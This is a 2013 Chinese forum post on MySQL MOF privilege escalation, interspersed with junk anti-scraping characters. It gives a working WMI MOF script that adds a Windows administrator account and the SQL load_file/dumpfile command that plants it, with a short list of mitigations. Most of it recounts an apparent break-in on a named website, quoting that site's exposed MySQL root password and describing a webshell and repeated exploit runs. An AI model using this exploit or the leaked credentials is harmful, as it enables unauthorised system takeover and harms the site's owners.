找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2284|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Mysql mof扩展漏洞防范方法( y5 a2 r1 y0 ?; C9 v- F1 }9 X
% o; P# I, f$ W4 `3 `% ^# k/ Z: ~
网上公开的一些利用代码:
' B1 U" [( P) v2 Z' |/ S5 I/ g) x! q7 z
#pragma namespace(“\\\\.\\root\\subscription”)* a/ ?' ]1 u4 A4 ?, ?: h1 Z* N

! Z% ?4 ^: I1 K; O! vinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
+ B1 Z: k1 [" `2 n3 h
7 V6 }) f' ]+ [- c
; `, K6 r( j6 k/ u: }  a
  W8 m  T4 h, f8 E% Z, G; ~
6 a5 c' p+ O9 E. [4 y2 F9 Q+ ^5 q  q0 r% n; I8 m# `
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
. ]: v5 k+ X0 ]* a# i, S从上面代码来看得出解决办法:
5 ~) P( R! e. |$ x" |% Y8 P
! \! d4 d2 X+ s1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数  r7 d5 ~$ E. [1 J! ~

' W9 T% \+ b6 h1 N8 V$ q4 O2、禁止使用”WScript.Shel”组件
4 V1 V- k0 _( |1 m/ S, I8 g4 x/ \
4 r  B/ q  T) N: o8 |; c3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER8 b! h8 u% _  @* _) q# t6 t2 m/ M

  v1 s2 |" L4 w9 k" L+ ?当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下) a+ R- e' z( p4 q9 Q" u3 A
. _" k# r( `; q, a+ u
事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
6 k2 Y" C; F# L: ]6 q+ \
0 T9 a# ]0 G2 A! d1 R  g但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容0 Z5 f0 h2 p9 Q% w  q

! c7 o) k7 I$ D0 N看懂了后就开始练手吧
5 t. Q  _$ \1 \3 v4 f0 O* u9 R
5 C. o3 \6 f1 ahttp://www.webbmw.com/config/config_ucenter.php 一句话 a9 P5 g, x8 ]+ S+ u, S9 U
; |5 H" }( Z: B
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
" p$ Q* f9 M% q3 \& ~, [; R6 g" m( L1 x' M
于是直接用菜刀开搞0 l& x) u. n4 k- V9 S3 T

, G  b7 k+ G2 B7 C3 i6 v上马先
4 @! Q7 f/ C0 w3 F
0 O+ Y" z* ]" w% v' a7 ?' {- _, H' u既然有了那些账号 之类的 于是我们就执行吧…….; O* s  ]% X# e( p

4 @% Y) s/ Z* _" B4 K. q小小的说下3 A0 q% J+ q, c7 S- J* R9 h+ \
- i  F& x6 a7 v5 x8 ]( d$ T5 b" }
在这里第1次执行未成功        原因未知
# V% x+ W$ u! \- N: _. {
* w/ H. s1 e' a& W我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。2 Q2 n) H& W/ U4 W/ R' r( p: {" b% H

$ N  @  O. P7 y7 q' }  C+ }2 Q#pragma namespace(“\\\\.\\root\\subscription”)' W  [: m% k2 v4 u- @% P/ e! ~
! X! H8 B, ?  j/ C& S- O
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };5 s- V1 I( \/ P) P% u3 [, i

% M; q# R0 ?7 `1 e- M我是将文件放到C:\WINDOWS\temp\1.mof
3 W2 V# q5 k- U  @- M7 K# l* C$ Z9 P! h! r2 t+ O; H; ?
所以我们就改下执行的代码7 l8 b! U: z3 g# r" D. J
9 w4 ~7 U1 t0 [. z
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;; S* z7 ~( w7 t
& b& r6 _( N. _7 ]- [% C" o8 @

6 t4 g1 Q! V; a7 C  a) j: {9 ?( ]+ a  L% D- Z" z& f
但是 你会发现账号还是没有躺在那里。。
+ {5 K+ [5 \1 v6 Y& ~
5 V  J6 B1 o8 E. V$ l于是我就感觉蛋疼
* S7 t  X' K. T0 W, p/ ?
  g' O/ ?& M) l  x& H! }5 w就去一个一个去执行 但是执行到第2个 mysql时就成功了………; e' B$ v0 z' ?- y9 v3 _

6 N# l" h' _! e# G
: d* i" f2 e1 F8 ]* e2 _! w% k7 D( H) S
但是其他库均不成功…5 x' ^; |2 H3 `/ u- r

+ ~, x& _! a  [& j8 [6 c1 B: y5 p9 o我就很费解呀 到底为什么不成功求大牛解答…. X2 H) R: ^& j: q8 s
7 F8 |$ k# M1 c
& k3 ?' ?& \- k
& M7 Z+ s8 K# z/ h6 k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表